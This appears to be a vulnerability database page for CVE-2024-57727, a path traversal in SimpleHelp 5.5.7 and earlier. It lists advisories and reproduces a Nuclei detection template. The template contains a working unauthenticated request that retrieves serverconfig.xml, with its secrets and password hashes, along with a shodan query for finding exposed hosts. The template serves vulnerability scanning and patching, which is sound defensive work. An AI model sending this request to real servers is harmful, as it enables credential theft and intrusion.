SimpleHelp <= 5.5.7 - Unauthenticated Path Traversal

🗓️ 25 Jun 2026 05:45:03Reported by ProjectDiscoveryType

SimpleHelp versions 5.5.7 and before have a high severity unauthenticated path traversal vulnerability.

Reporter	Title	Published	Views	Family All 36
GithubExploit	Exploit for Path Traversal in Simple-Help Simplehelp	17 Jan 202515:45	–	githubexploit
ATTACKERKB	CVE-2024-57727	15 Jan 202500:00	–	attackerkb
BDU FSTEC	The vulnerability of SimpleHelp’s software for remote support stems from an incorrect limitation on the path to the restricted-access directory, allowing a perpetrator to disclose protected information.	27 Jan 202500:00	–	bdu_fstec
Circl	CVE-2024-57727	15 Jan 202507:04	–	circl
CISA KEV Catalog	SimpleHelp Path Traversal Vulnerability	13 Feb 202500:00	–	cisa_kev
CISA	CISA Adds One Known Exploited Vulnerability to Catalog	13 Feb 202512:00	–	cisa
CISA	CISA Releases Cybersecurity Advisory on SimpleHelp RMM Vulnerability	12 Jun 202512:00	–	cisa
CNNVD	SimpleHelp 安全漏洞	15 Jan 202500:00	–	cnnvd
CVE	CVE-2024-57727	15 Jan 202500:00	–	cve
Cvelist	CVE-2024-57727	15 Jan 202500:00	–	cvelist

Source	Link
simple-help	www.simple-help.com/kb---security-vulnerabilities-01-2025
horizon3	www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/

id: CVE-2024-57727

info:
  name: SimpleHelp <= 5.5.7 - Unauthenticated Path Traversal
  author: iamnoooob,rootxharsh,pdresearch,3th1cyuk1
  severity: high
  description: |
    SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.
  impact: |
    Unauthenticated attackers can exploit path traversal to download server configuration files containing secrets, hashed passwords, and other sensitive information.
  remediation: |
    Update SimpleHelp to version 5.5.8 or later to address the path traversal vulnerabilities.
  reference:
    - https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier
    - https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-57727
    cwe-id: CWE-22
    epss-score: 0.95151
    epss-percentile: 0.99853
    cpe: cpe:2.3:a:simple-help:simplehelp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: simple-help
    product: simplehelp
    shodan-query: html:"SimpleHelp"
  tags: cve,cve2024,simplehelp,lfi,kev,vkev,vuln

http:
  - raw:
      - |
        GET /toolbox-resource/../serverconfig.xml HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<SimpleSuite'
          - '<HashPassword>'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/octet-stream'
# digest: 4a0a00473045022100d6a78586870c6ecd88fdcd6f018d4f4dcfbc5d247181d21bc5b2cd5ec22837f1022015e304482903fe5530423c0262c8b1618f499e815f51a5966ab311f8c22538f5:922c64590222798bb761d5b6d8e72950

04 Feb 2026 07:00Current

7.6High risk

Vulners AI Score7.6

CVSS 3.17.5 - 9.1

EPSS0.95151

SSVC